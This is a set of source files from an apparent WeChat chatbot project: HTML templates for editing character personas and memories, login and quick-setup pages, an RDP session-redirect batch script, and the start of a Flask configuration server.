保存核心记忆 fetch('/save_core_memory', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ avatar: currentAvatar, user_id: currentUser, content: memoryContent }) }) .then(response => response.json()) .then(data => { if (data.status === 'success') { showToast('核心记忆保存成功', 'success'); modal.hide(); // 移除模态框 document.getElementById('coreMemoryModal').remove(); } else { showToast('保存失败: ' + data.message, 'error'); } }) .catch(error => { showToast('保存失败: ' + error, 'error'); }); }); // 清空核心记忆按钮点击事件 document.getElementById('clearCoreMemoryBtn').addEventListener('click', function() { if (confirm('确定要清空核心记忆吗?此操作无法撤销!')) { fetch('/clear_core_memory', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ avatar: currentAvatar, user_id: currentUser }) }) .then(response => response.json()) .then(data => { if (data.status === 'success') { showToast('核心记忆已清空', 'success'); document.getElementById('coreMemoryContent').value = ''; } else { showToast('清空失败: ' + data.message, 'error'); } }) .catch(error => { showToast('清空失败: ' + error, 'error'); }); } }); // 模态框关闭事件 document.getElementById('coreMemoryModal').addEventListener('hidden.bs.modal', function() { this.remove(); }); } else { showToast('加载核心记忆失败: ' + data.message, 'error'); } }) .catch(error => { showToast('加载核心记忆失败: ' + error, 'error'); }); }); // 添加编辑短期记忆按钮 const editShortMemoryBtn = document.createElement('button'); editShortMemoryBtn.className = 'btn btn-outline-secondary'; editShortMemoryBtn.innerHTML = '<i class="bi bi-chat-dots"></i> 编辑短期记忆'; editShortMemoryBtn.title = '编辑角色的短期记忆对话历史'; editShortMemoryBtn.addEventListener('click', function() { // 获取当前选中的角色名称和用户ID const currentAvatar = document.getElementById('avatarSelector').value; const currentUser = document.getElementById('userSelector').value; // 加载短期记忆内容 fetch(`/load_short_memory?avatar=${currentAvatar}&user_id=${currentUser}`) .then(response => response.json()) .then(data => { if (data.status === 'success') { const conversations = data.conversations || []; // 创建一个模态框来编辑短期记忆 const modalHTML = ` <div class="modal fade" id="shortMemoryModal" tabindex="-1" aria-labelledby="shortMemoryModalLabel" aria-hidden="true"> <div class="modal-dialog modal-xl"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="shortMemoryModalLabel">${currentAvatar} - 用户 ${currentUser} 的短期记忆对话编辑</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <div class="mb-3"> <div class="alert alert-info"> <i class="bi bi-info-circle-fill"></i> 短期记忆包含最近的对话历史,可以逐条编辑、删除或添加对话。 </div> <div class="d-flex justify-content-end mb-3"> <button type="button" class="btn btn-sm btn-success me-2" id="addConversationBtn"> <i class="bi bi-plus-circle"></i> 添加对话 </button> <button type="button" class="btn btn-sm btn-danger" id="clearAllConversationsBtn"> <i class="bi bi-trash"></i> 清空所有对话 </button> </div> <div id="conversationsList" class="border rounded p-3" style="max-height: 60vh; overflow-y: auto;"> <div id="noConversationsMsg" class="text-center p-3 text-muted" ${conversations.length > 0 ? 'style="display:none;"' : ''}> <i class="bi bi-chat-square-text"></i> 暂无对话记录 </div> <div id="conversationsContainer"> <!-- 对话内容由JavaScript动态生成 --> </div> </div> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">取消</button> <button type="button" class="btn btn-primary" id="saveShortMemoryBtn">保存所有修改</button> </div> </div> </div> </div> `; // 添加模态框到body document.body.insertAdjacentHTML('beforeend', modalHTML); // 显示模态框 const modal = new bootstrap.Modal(document.getElementById('shortMemoryModal')); modal.show(); // 保存所有修改 let conversationsData = [...conversations]; // 复制一份数据用于编辑 let editingIndex = -1; // 初始化编辑索引变量 // 获取当前时间戳 function getCurrentTimestamp() { const now = new Date(); return now.toISOString().replace('T', ' ').substring(0, 19); } // 添加新对话 document.getElementById('addConversationBtn').addEventListener('click', function() { // 添加一个新的空对话 conversationsData.push({ timestamp: getCurrentTimestamp(), user: '', bot: '' }); // 更新UI updateConversationsList(); // 自动滚动到底部 const container = document.getElementById('conversationsList'); container.scrollTop = container.scrollHeight; }); // 更新对话列表UI function updateConversationsList() { const container = document.getElementById('conversationsContainer'); const noMsgElement = document.getElementById('noConversationsMsg'); // 如果没有对话,显示提示信息 if (conversationsData.length === 0) { noMsgElement.style.display = 'block'; container.innerHTML = ''; return; } // 否则隐藏提示,显示对话列表 noMsgElement.style.display = 'none'; // 更新列表内容 container.innerHTML = conversationsData.map((conv, index) => { // 提取用户消息中的时间戳和实际内容 let userTimePrefix = ''; let userContent = conv.user || ''; // 尝试匹配时间戳模式 [YYYY-MM-DD HH:MM:SS] const timeRegex = /^\s*\[(\d{4}-\d{2}-\d{2}\s+\d{2}:\d{2}:\d{2})\]\s*/; const match = userContent.match(timeRegex); if (match) { userTimePrefix = match[0]; userContent = userContent.substring(match[0].length); } return ` <div class="card mb-3 conversation-card" data-index="${index}"> <div class="card-header d-flex justify-content-between align-items-center"> <small class="text-muted">${conv.timestamp || '未知时间'}</small> <div> <button type="button" class="btn btn-sm btn-outline-danger delete-btn" data-index="${index}"> <i class="bi bi-trash"></i> 删除 </button> </div> </div> <div class="card-body"> <div> <div class="mb-3"> <label class="form-label fw-bold">用户消息</label> ${userTimePrefix ? `<div class="text-muted mb-1 small">${userTimePrefix}</div>` : ''} <textarea class="form-control user-message-input" rows="2" data-index="${index}" data-time-prefix="${userTimePrefix.replace(/"/g, '&quot;')}">${userContent}</textarea> </div> <div class="mb-2"> <label class="form-label fw-bold">系统回复</label> <textarea class="form-control bot-message-input" rows="2" data-index="${index}">${conv.bot || ''}</textarea> </div> </div> </div> </div> `}).join(''); // 绑定文本区域的自动保存事件 document.querySelectorAll('.user-message-input').forEach(textarea => { textarea.addEventListener('change', function() { const index = parseInt(this.getAttribute('data-index')); const timePrefix = this.getAttribute('data-time-prefix') || ''; // 保存时重新组合时间戳前缀和用户编辑的内容 conversationsData[index].user = timePrefix + this.value; }); // 自动调整高度 textarea.addEventListener('input', function() { this.style.height = 'auto'; this.style.height = (this.scrollHeight) + 'px'; }); // 初始调整高度 textarea.style.height = 'auto'; textarea.style.height = (textarea.scrollHeight) + 'px'; }); document.querySelectorAll('.bot-message-input').forEach(textarea => { textarea.addEventListener('change', function() { const index = parseInt(this.getAttribute('data-index')); conversationsData[index].bot = this.value; }); // 自动调整高度 textarea.addEventListener('input', function() { this.style.height = 'auto'; this.style.height = (this.scrollHeight) + 'px'; }); // 初始调整高度 textarea.style.height = 'auto'; textarea.style.height = (textarea.scrollHeight) + 'px'; }); // 删除按钮事件 document.querySelectorAll('.delete-btn').forEach(btn => { btn.addEventListener('click', function() { const index = parseInt(this.getAttribute('data-index')); if (confirm('确定要删除这条对话吗?')) { conversationsData.splice(index, 1); updateConversationsList(); } }); }); } // 清空所有对话 document.getElementById('clearAllConversationsBtn').addEventListener('click', function() { if (confirm('确定要清空所有对话吗?此操作无法撤销!')) { conversationsData = []; updateConversationsList(); } }); // 保存所有修改 document.getElementById('saveShortMemoryBtn').addEventListener('click', function() { // 保存短期记忆 fetch('/save_short_memory', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ avatar: currentAvatar, user_id: currentUser, conversations: conversationsData }) }) .then(response => response.json()) .then(data => { if (data.status === 'success') { showToast('短期记忆保存成功', 'success'); modal.hide(); // 移除模态框 document.getElementById('shortMemoryModal').remove(); } else { showToast('保存失败: ' + data.message, 'error'); } }) .catch(error => { showToast('保存失败: ' + error, 'error'); }); }); // 模态框关闭事件 - 清理DOM document.getElementById('shortMemoryModal').addEventListener('hidden.bs.modal', function() { this.remove(); }); // 初始化显示对话列表 updateConversationsList(); } else { showToast('加载短期记忆失败: ' + data.message, 'error'); } }) .catch(error => { showToast('加载短期记忆失败: ' + error, 'error'); }); }); selector.appendChild(viewRawBtn); selector.appendChild(editCoreMemoryBtn); selector.appendChild(editShortMemoryBtn); } // 保存角色设定 function saveAvatarSettings() { const avatarData = { avatar: currentAvatar, // 添加当前人设名称 task: document.getElementById('task').value, role: document.getElementById('role').value, appearance: document.getElementById('appearance').value, experience: document.getElementById('experience').value, personality: document.getElementById('personality').value, classic_lines: document.getElementById('classic_lines').value, preferences: document.getElementById('preferences').value, notes: document.getElementById('notes').value }; console.log('准备发送的数据:', avatarData); // 调试信息 fetch('/save_avatar', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(avatarData) }) .then(response => response.json()) .then(data => { if (data.status === 'success') { showToast('角色设定已成功保存', 'success'); // 重新加载内容以获取最新的原始MD loadAvatarContent(currentAvatar); } else { showToast('保存失败: ' + data.message, 'error'); } }) .catch(error => { showToast('保存失败: ' + error, 'error'); }); } // 创建新人设 function createNewAvatar() { const avatarName = document.getElementById('newAvatarName').value.trim(); if (!avatarName) { showToast('请输入人设名称', 'error'); return; } if (!/^[a-zA-Z0-9_]+$/.test(avatarName)) { showToast('人设名称只能包含英文字母、数字和下划线', 'error'); return; } fetch('/create_avatar', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ avatar_name: avatarName }) }) .then(response => response.json()) .then(data => { if (data.status === 'success') { showToast('人设创建成功', 'success'); // 关闭模态框 bootstrap.Modal.getInstance(document.getElementById('newAvatarModal')).hide(); // 重新加载人设列表 loadAvatarList(); // 清空输入框 document.getElementById('newAvatarName').value = ''; } else { showToast('创建失败: ' + data.message, 'error'); } }) .catch(error => { showToast('创建失败: ' + error, 'error'); }); } // 删除当前人设 function deleteCurrentAvatar() { const avatarName = document.getElementById('avatarSelector').value; fetch('/delete_avatar', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ avatar_name: avatarName }) }) .then(response => response.json()) .then(data => { if (data.status === 'success') { showToast('人设已删除', 'success'); // 关闭模态框 bootstrap.Modal.getInstance(document.getElementById('deleteAvatarModal')).hide(); // 重新加载人设列表 loadAvatarList(); } else { showToast('删除失败: ' + data.message, 'error'); } }) .catch(error => { showToast('删除失败: ' + error, 'error'); }); } // 初始化各种事件监听器 function initEventListeners() { // 人设选择器变更事件 document.getElementById('avatarSelector').addEventListener('change', function() { const selectedAvatar = this.value; currentAvatar = selectedAvatar; loadAvatarContent(selectedAvatar); }); // 用户选择器变更事件 document.getElementById('userSelector').addEventListener('change', function() { const selectedUser = this.value; currentUser = selectedUser; localStorage.setItem(`lastSelectedUser_${currentAvatar}`, selectedUser); // 这里不需要重新加载角色内容,只需记录当前选中的用户 showToast(`已切换到用户: ${selectedUser}`, 'success'); }); // 刷新用户列表按钮 document.getElementById('refreshUsersBtn').addEventListener('click', function() { loadUserList(currentAvatar); showToast('用户列表已刷新', 'success'); }); // 保存按钮点击事件 document.getElementById('saveButton').addEventListener('click', saveAvatarSettings); // 新建人设按钮点击事件 document.getElementById('newAvatarBtn').addEventListener('click', function() { new bootstrap.Modal(document.getElementById('newAvatarModal')).show(); }); // 删除人设按钮点击事件 document.getElementById('deleteAvatarBtn').addEventListener('click', function() { new bootstrap.Modal(document.getElementById('deleteAvatarModal')).show(); }); // 创建人设按钮点击事件 document.getElementById('createAvatarBtn').addEventListener('click', createNewAvatar); // 确认删除人设按钮点击事件 document.getElementById('confirmDeleteBtn').addEventListener('click', deleteCurrentAvatar); // 获取人设按钮点击事件 document.getElementById('getAvatarBtn').addEventListener('click', function() { new bootstrap.Modal(document.getElementById('getAvatarModal')).show(); }); // 自动调整文本框高度 const textareas = document.querySelectorAll('textarea'); textareas.forEach(textarea => { textarea.addEventListener('input', function() { this.style.height = 'auto'; this.style.height = (this.scrollHeight) + 'px'; }); }); } // 添加工具栏按钮 function addToolbarButtons() { // 添加原始MD查看按钮 addViewRawButton(); // 在加载时初始化 initEventListeners(); // 加载人设列表 loadAvatarList(); } // 执行初始化 addToolbarButtons(); // 显示提示消息 function showToast(message, type = 'success') { const toast = document.createElement('div'); toast.className = 'toast-container position-fixed top-0 start-50 translate-middle-x p-3'; toast.innerHTML = ` <div class="toast align-items-center text-white bg-${type === 'success' ? 'success' : 'danger'} border-0" role="alert" aria-live="assertive" aria-atomic="true"> <div class="d-flex"> <div class="toast-body"> <i class="bi bi-${type === 'success' ? 'check-circle' : 'x-circle'} me-2"></i>${message} </div> <button type="button" class="btn-close btn-close-white me-2 m-auto" data-bs-dismiss="toast" aria-label="Close"></button> </div> </div> `; document.body.appendChild(toast); const toastEl = toast.querySelector('.toast'); const bsToast = new bootstrap.Toast(toastEl, { delay: 3000 }); bsToast.show(); // 自动移除 toast toastEl.addEventListener('hidden.bs.toast', function () { toast.remove(); }); } }); </script> </body> </html>
2302_81798979/KouriChat
src/webui/templates/edit_avatar.html
HTML
unknown
67,982
{% extends "auth_base.html" %} {% block title %}初始化密码{% endblock %} {% block header %}初始化管理密码{% endblock %} {% block subheader %}请设置管理员密码以继续使用{% endblock %} {% block content %} <form id="initForm" onsubmit="handleInit(event)"> <div class="password-input-group mb-3"> <input type="password" class="form-control" id="password" placeholder="请输入管理密码" required> <button type="button" class="password-toggle" onclick="togglePassword('password')"> <i class="bi bi-eye"></i> </button> </div> <div class="password-input-group mb-3"> <input type="password" class="form-control" id="confirmPassword" placeholder="请确认管理密码" required> <button type="button" class="password-toggle" onclick="togglePassword('confirmPassword')"> <i class="bi bi-eye"></i> </button> </div> <button type="submit" class="btn btn-primary w-100"> <i class="bi bi-check-lg me-2"></i>设置密码 </button> </form> {% endblock %} {% block extra_script %} <script> function handleInit(event) { event.preventDefault(); const password = document.getElementById('password').value; const confirmPassword = document.getElementById('confirmPassword').value; if (password !== confirmPassword) { showError('两次输入的密码不一致'); return; } fetch('/init_password', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ password: password, remember_me: true }) }) .then(response => response.json()) .then(data => { if (data.status === 'success') { // 跳转到快速设置页面 window.location.href = '/quick_setup'; } else { showError(data.message || '密码设置失败'); } }) .catch(error => { console.error('Error:', error); showError('网络错误,请重试'); }); } </script> {% endblock %}
2302_81798979/KouriChat
src/webui/templates/init_password.html
HTML
unknown
2,450
{% extends "auth_base.html" %} {% block title %}登录{% endblock %} {% block header %}KouriChat{% endblock %} {% block subheader %}请输入管理密码以继续{% endblock %} {% block content %} <form id="loginForm" onsubmit="handleLogin(event)"> <div class="password-input-group mb-3"> <input type="password" class="form-control" id="password" placeholder="请输入管理密码" required> <button type="button" class="password-toggle" onclick="togglePassword('password')" aria-label="切换密码显示"> <i class="bi bi-eye"></i> </button> </div> <div class="form-check mb-3"> <input class="form-check-input" type="checkbox" id="rememberMe"> <label class="form-check-label" for="rememberMe"> 记住我的登录状态 </label> </div> <button type="submit" class="btn btn-primary w-100"> <i class="bi bi-box-arrow-in-right me-2"></i>登录 </button> </form> {% endblock %} {% block extra_script %} <script> function handleLogin(event) { event.preventDefault(); const password = document.getElementById('password').value; const rememberMe = document.getElementById('rememberMe').checked; fetch('/login', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ password: password, remember_me: rememberMe }) }) .then(response => response.json()) .then(data => { if (data.status === 'success') { window.location.href = '/dashboard'; } else { showError(data.message || '登录失败'); } }) .catch(error => { showError('网络错误,请重试'); }); } </script> {% endblock %}
2302_81798979/KouriChat
src/webui/templates/login.html
HTML
unknown
2,030
<nav class="navbar navbar-expand-lg bg-body-tertiary shadow-sm"> <div class="container"> <a class="navbar-brand fw-bold" href="/dashboard"> <img src="/static/mom.ico" alt="MDM" width="32" height="32" class="d-inline-block align-text-top me-2 rounded-circle nav-logo"> KouriChat </a> {% if session.get('logged_in') %} <!-- 登录后显示的内容 --> <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarContent" aria-controls="navbarContent" aria-expanded="false" aria-label="切换导航菜单"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarContent"> <ul class="navbar-nav me-auto mb-2 mb-lg-0"> <li class="nav-item"> <a class="nav-link {{ 'active' if active_page == 'dashboard' }}" href="/dashboard"> <i class="bi bi-house-door me-1"></i>主页 </a> </li> <li class="nav-item"> <a class="nav-link {{ 'active' if active_page == 'config' }}" href="/config"> <i class="bi bi-gear me-1"></i>配置中心 </a> </li> <li class="nav-item"> <a class="nav-link {{ 'active' if active_page == 'edit_avatar' }}" href="/edit_avatar"> <i class="bi bi-person-circle me-1"></i>角色设定 </a> </li> </ul> <div class="d-flex align-items-center ms-auto"> <div class="form-check form-switch me-3"> <input class="form-check-input" type="checkbox" role="switch" id="darkModeToggle" data-dark-toggle> <label class="form-check-label" for="darkModeToggle"> <i class="bi bi-moon-stars me-1"></i>护眼模式 </label> </div> <div> <label for="backgroundInput" class="d-none">选择背景图片</label> <input type="file" class="d-none" id="backgroundInput" accept="image/*"> <button class="btn btn-outline-primary" type="button" onclick="handleBackgroundClick()"> <i class="bi bi-image me-2"></i>更换背景 </button> </div> </div> </div> {% else %} <!-- 未登录时显示的内容 --> <div class="d-flex align-items-center"> <div class="form-check form-switch me-3"> <input class="form-check-input" type="checkbox" role="switch" id="darkModeToggle" data-dark-toggle> <label class="form-check-label" for="darkModeToggle"> <i class="bi bi-moon-stars me-1"></i>护眼模式 </label> </div> </div> {% endif %} </div> </nav> <script> function handleBackgroundClick() { const input = document.getElementById('backgroundInput'); input.click(); } document.getElementById('backgroundInput').addEventListener('change', function(e) { const file = e.target.files[0]; if (file) { const formData = new FormData(); formData.append('background', file); // 显示加载状态 const button = this.nextElementSibling; const originalText = button.innerHTML; button.innerHTML = '<i class="bi bi-arrow-repeat me-2 spin"></i>上传中...'; button.disabled = true; fetch('/upload_background', { method: 'POST', body: formData }) .then(response => response.json()) .then(data => { if (data.status === 'success') { document.body.style.backgroundImage = `url('${data.path}')`; showToast('背景更新成功', 'success'); } else { showToast(data.message, 'error'); } }) .catch(error => { showToast('上传失败:' + error, 'error'); }) .finally(() => { // 恢复按钮状态 button.innerHTML = originalText; button.disabled = false; }); } }); function showManualAnnouncement() { // 尝试获取公告模态框实例并显示 const announcementModalElement = document.getElementById('announcementModal'); if (announcementModalElement) { const announcementModal = bootstrap.Modal.getOrCreateInstance(announcementModalElement); // 如果公告内容尚未加载,则先加载 const contentElement = document.getElementById('announcementContent'); if (!contentElement.innerHTML.trim()) { fetch('/get_announcement') .then(response => response.json()) .then(data => { if (data.enabled) { // 设置公告内容 const modalTitleElement = document.getElementById('announcementModalLabel'); modalTitleElement.textContent = data.title; modalTitleElement.classList.remove('fs-4'); modalTitleElement.classList.add('fw-bold', 'text-center', 'w-100', 'fs-3'); contentElement.innerHTML = data.content; const modalHeader = document.querySelector('#announcementModal .modal-header'); modalHeader.classList.remove('bg-info', 'bg-warning', 'bg-danger', 'bg-success', 'text-white', 'text-dark'); modalHeader.style.backgroundColor = ''; // 绑定"不再显示"按钮事件 bindAnnouncementDismissHandler(data); // 显示模态框 announcementModal.show(); } else { showToast('公告当前已禁用', 'warning'); } }) .catch(error => { console.error("获取公告失败:", error); showToast('获取公告失败', 'error'); }); } else { // 如果内容已加载,直接显示 announcementModal.show(); } } else { console.error("找不到公告模态框元素"); showToast('公告功能异常', 'error'); } } </script> <style> /* 添加logo样式 */ .nav-logo { object-fit: cover; } /* 在现有的 style 标签中添加 */ .nav-item { position: relative; transition: all 0.3s ease; } .nav-item::after { content: ''; position: absolute; bottom: 0; left: 50%; width: 0; height: 2px; background: var(--primary-color); transition: all 0.3s ease; transform: translateX(-50%); } .nav-item:hover::after { width: 100%; } .nav-link { transition: all 0.3s ease; } .nav-link:hover { transform: translateY(-2px); } /* 优化下拉菜单动画 */ .navbar-collapse { transition: all 0.3s ease; } /* 优化移动端菜单按钮 */ .navbar-toggler { transition: all 0.3s ease; } .navbar-toggler:hover { transform: rotate(90deg); } /* 修复护眼模式切换按钮样式 */ .navbar .form-check.form-switch { display: flex; align-items: center; height: 100%; margin: 0; } .navbar .form-check-label { display: flex; align-items: center; margin: 0 0 0 8px; line-height: 1; } .navbar .form-check-input { margin: 0; vertical-align: middle; } /* 添加统一的选中状态样式 */ .navbar .form-check-input:checked { background-color: var(--primary-color); border-color: var(--primary-color); } @keyframes spin { from { transform: rotate(0deg); } to { transform: rotate(360deg); } } .spin { animation: spin 1s linear infinite; } </style>
2302_81798979/KouriChat
src/webui/templates/navbar.html
HTML
unknown
8,065
{% extends "auth_base.html" %} {% block title %}快速设置{% endblock %} {% block header %}快速设置{% endblock %} {% block subheader %}完成即可直接启动使用基础对话功能{% endblock %} {% block content %} <div class="auth-wrapper"> <form id="quickSetupForm" onsubmit="handleQuickSetup(event)"> <div class="mb-2"> <label for="inputField" class="form-label">要监听的用户列表(请使用微信昵称,不要使用备注名)</label> <input type="text" class="form-control" id="inputField" placeholder="请输入用户昵称,多个用户请用英文逗号分隔" required> <small class="form-text text-muted">多个用户请用英文逗号分隔,例如:小明,小红,群名称</small> </div> <div class="d-flex justify-content-between mb-2"> <button type="button" class="btn btn-secondary" onclick="skipSetup()">跳过</button> <button type="submit" class="btn btn-primary">下一步</button> </div> </form> </div> <div id="apiKeySection" style="display: none; margin-top: 10px;"> <div class="mb-2"> <label for="apiKey" class="form-label">API密钥</label> <input type="text" class="form-control" id="apiKey" placeholder="请输入API密钥" required> <small class="form-text text-muted"> 还没有API密钥?<a href="https://api.kourichat.com/register" target="_blank" rel="noopener">点我获取</a> </small> </div> <div class="d-flex justify-content-between mb-2"> <button type="button" class="btn btn-secondary" onclick="skipSetup()">跳过</button> <button type="button" class="btn btn-primary" onclick="saveSetup()">保存设置</button> </div> </div> <!-- 错误提示框 --> <div id="errorAlert" class="alert alert-danger alert-dismissible fade show" role="alert" style="display: none;"> <span id="errorMessage"></span> <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button> </div> {% endblock %} {% block extra_script %} <script> function handleQuickSetup(event) { event.preventDefault(); const inputField = document.getElementById('inputField').value.trim(); if (inputField === '') { showError('请输入至少一个用户昵称'); return; } // 显示API密钥输入框 document.getElementById('quickSetupForm').style.display = 'none'; document.getElementById('apiKeySection').style.display = 'block'; } function saveSetup() { const inputField = document.getElementById('inputField').value.trim(); const apiKey = document.getElementById('apiKey').value.trim(); if (inputField === '') { showError('请输入至少一个用户昵称'); return; } if (apiKey === '') { showError('请输入API密钥'); return; } // 处理用户列表 const userList = inputField.split(',') .map(item => item.trim()) .filter(item => item !== ''); if (userList.length === 0) { showError('请输入有效的用户昵称'); return; } // 发送数据到服务器 fetch('/save_quick_setup', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ listen_list: userList, api_key: apiKey }) }) .then(response => { if (!response.ok) { throw new Error('网络响应不正常'); } return response.json(); }) .then(data => { if (data.status === 'success') { // 显示成功消息 const successMessage = document.createElement('div'); successMessage.className = 'alert alert-success'; successMessage.textContent = '设置已保存,即将跳转到仪表盘...'; document.querySelector('.auth-wrapper').appendChild(successMessage); // 延迟跳转 setTimeout(() => { window.location.href = '/dashboard'; }, 1500); } else { showError(data.message || '保存设置失败'); } }) .catch(error => { console.error('Error:', error); showError('保存失败:' + (error.message || '网络错误,请重试')); }); } function skipSetup() { // 跳过设置,直接重定向到仪表盘 window.location.href = '/dashboard'; } function showError(message) { const alert = document.getElementById('errorAlert'); const errorMessage = document.getElementById('errorMessage'); if (alert && errorMessage) { errorMessage.textContent = message; alert.style.display = 'block'; // 3秒后自动隐藏 setTimeout(() => { alert.style.display = 'none'; }, 3000); } else { // 如果找不到错误提示框,使用alert alert(message); } } </script> {% endblock %}
2302_81798979/KouriChat
src/webui/templates/quick_setup.html
HTML
unknown
5,411
@echo off setlocal enabledelayedexpansion rem 查询 RDP 会话获取目标会话的 ID for /f "tokens=3" %%a in ('query session ^| findstr /i "rdp-tcp#"') do ( set session_id=%%a ) rem 断开 RDP 会话并将连接重定向到控制台 tscon %session_id% /dest:console endlocal
2302_81798979/KouriChat
【RDP远程必用】断联脚本.bat
Batchfile
unknown
285
""" 配置管理Web界面启动文件 提供Web配置界面功能,包括: - 初始化Python路径 - 禁用字节码缓存 - 清理缓存文件 - 启动Web服务器 - 动态修改配置 """ import os import sys import re import logging from flask import Flask, render_template, jsonify, request, send_from_directory, redirect, url_for, session, g import importlib import json from colorama import init, Fore, Style from werkzeug.utils import secure_filename from typing import Dict, Any, List import psutil import subprocess import threading from src.autoupdate.updater import Updater import requests import time from queue import Queue import datetime from logging.config import dictConfig import shutil import signal import atexit import socket import webbrowser import hashlib import secrets from datetime import timedelta from src.utils.console import print_status from src.avatar_manager import avatar_manager # 导入角色设定管理器 from src.webui.routes.avatar import avatar_bp import ctypes import win32api import win32con import win32job import win32process # 在文件开头添加全局变量声明 bot_process = None bot_start_time = None bot_logs = Queue(maxsize=1000) job_object = None # 添加全局作业对象变量 # 配置日志 dictConfig({ 'version': 1, 'formatters': { 'default': { 'format': '[%(asctime)s] %(levelname)s: %(message)s', 'datefmt': '%Y-%m-%d %H:%M:%S' } }, 'handlers': { 'console': { 'class': 'logging.StreamHandler', 'formatter': 'default', 'level': 'INFO' } }, 'root': { 'level': 'INFO', 'handlers': ['console'] }, 'loggers': { 'werkzeug': { 'level': 'ERROR', # 将 Werkzeug 的日志级别设置为 ERROR 'handlers': ['console'], 'propagate': False } } }) # 初始化日志记录器 logger = logging.getLogger(__name__) # 初始化colorama init() # 添加项目根目录到Python路径 ROOT_DIR = os.path.dirname(os.path.abspath(__file__)) sys.path.append(ROOT_DIR) # 定义配置文件路径 config_path = os.path.join(ROOT_DIR, 'data/config/config.json') # 将配置路径定义为全局常量 # 禁用Python的字节码缓存 sys.dont_write_bytecode = True # 定义模板和静态文件目录 templates_dir = os.path.join(ROOT_DIR, 'src/webui/templates') static_dir = os.path.join(ROOT_DIR, 'src/webui/static') # 确保目录存在 os.makedirs(templates_dir, exist_ok=True) os.makedirs(static_dir, exist_ok=True) os.makedirs(os.path.join(static_dir, 'js'), exist_ok=True) os.makedirs(os.path.join(static_dir, 'css'), exist_ok=True) app = Flask(__name__, template_folder=templates_dir, static_folder=static_dir) # 添加配置 app.config['UPLOAD_FOLDER'] = os.path.join(ROOT_DIR, 'src/webui/background_image') # 确保上传目录存在 os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True) # 生成密钥用于session加密 app.secret_key = secrets.token_hex(16) # 在 app 初始化后添加 try: app.register_blueprint(avatar_manager) app.register_blueprint(avatar_bp) logger.debug("成功注册蓝图组件") except Exception as e: logger.error(f"注册蓝图组件失败: {str(e)}") # 导入更新器中的常量 from src.autoupdate.updater import Updater # 在应用启动时检查云端更新和公告 def check_cloud_updates_on_startup(): try: from src.autoupdate.updater import check_cloud_info logger.info("应用启动时检查云端更新...") check_cloud_info() logger.info("云端更新检查完成") # 触发公告处理但不显示桌面弹窗 try: from src.autoupdate.core.manager import get_manager # 触发更新检查和公告处理 manager = get_manager() manager.check_and_process_updates() logger.info("公告数据处理完成,将在Web页面显示") except Exception as announcement_error: logger.error(f"公告处理失败: {announcement_error}") except Exception as e: logger.error(f"检查云端更新失败: {e}") # 启动一个后台线程来检查云端更新 update_thread = threading.Thread(target=check_cloud_updates_on_startup) update_thread.daemon = True update_thread.start() def get_available_avatars() -> List[str]: """获取可用的人设目录列表""" avatar_base_dir = os.path.join(ROOT_DIR, "data/avatars") if not os.path.exists(avatar_base_dir): os.makedirs(avatar_base_dir, exist_ok=True) logger.info(f"创建人设目录: {avatar_base_dir}") return [] # 获取所有包含 avatar.md 和 emojis 目录的有效人设目录 avatars = [] for item in os.listdir(avatar_base_dir): avatar_dir = os.path.join(avatar_base_dir, item) if os.path.isdir(avatar_dir): avatar_md_path = os.path.join(avatar_dir, "avatar.md") emojis_dir = os.path.join(avatar_dir, "emojis") # 如果缺少必要文件,尝试创建 if not os.path.exists(emojis_dir): os.makedirs(emojis_dir, exist_ok=True) logger.info(f"为人设 {item} 创建表情包目录") if not os.path.exists(avatar_md_path): with open(avatar_md_path, 'w', encoding='utf-8') as f: f.write("# 任务\n请在此处描述角色的任务和目标\n\n# 角色\n请在此处描述角色的基本信息\n\n# 外表\n请在此处描述角色的外表特征\n\n# 经历\n请在此处描述角色的经历和背景故事\n\n# 性格\n请在此处描述角色的性格特点\n\n# 经典台词\n请在此处列出角色的经典台词\n\n# 喜好\n请在此处描述角色的喜好\n\n# 备注\n其他需要补充的信息") logger.info(f"为人设 {item} 创建模板avatar.md文件") # 检查文件和目录是否存在 if os.path.exists(avatar_md_path) and os.path.exists(emojis_dir): avatars.append(f"data/avatars/{item}") # 如果没有人设,创建默认人设 if not avatars: default_avatar = "MONO" default_dir = os.path.join(avatar_base_dir, default_avatar) os.makedirs(default_dir, exist_ok=True) os.makedirs(os.path.join(default_dir, "emojis"), exist_ok=True) # 创建默认人设文件 with open(os.path.join(default_dir, "avatar.md"), 'w', encoding='utf-8') as f: f.write("# 任务\n作为一个温柔体贴的虚拟助手,为用户提供陪伴和帮助\n\n# 角色\n名字: MONO\n身份: AI助手\n\n# 外表\n清新甜美的少女形象\n\n# 经历\n被创造出来陪伴用户\n\n# 性格\n温柔、体贴、善解人意\n\n# 经典台词\n\"我会一直陪着你的~\"\n\"今天过得怎么样呀?\"\n\"需要我做什么呢?\"\n\n# 喜好\n喜欢和用户聊天\n喜欢分享知识\n\n# 备注\n默认人设") avatars.append(f"data/avatars/{default_avatar}") logger.info("创建了默认人设 MONO") return avatars def parse_config_groups() -> Dict[str, Dict[str, Any]]: """解析配置文件,将配置项按组分类""" from data.config import config try: # 基础配置组 config_groups = { "基础配置": {}, "TTS 服务配置": {}, "图像识别API配置": {}, "意图识别API配置": {}, "主动消息配置": {}, "消息配置": {}, "人设配置": {}, "网络搜索配置": {}, "世界书":{} } # 基础配置 config_groups["基础配置"].update( { "LISTEN_LIST": { "value": config.user.listen_list, "description": "用户列表(请配置要和bot说话的账号的昵称或者群名,不要写备注!昵称尽量别用特殊字符)", }, "GROUP_CHAT_CONFIG": { 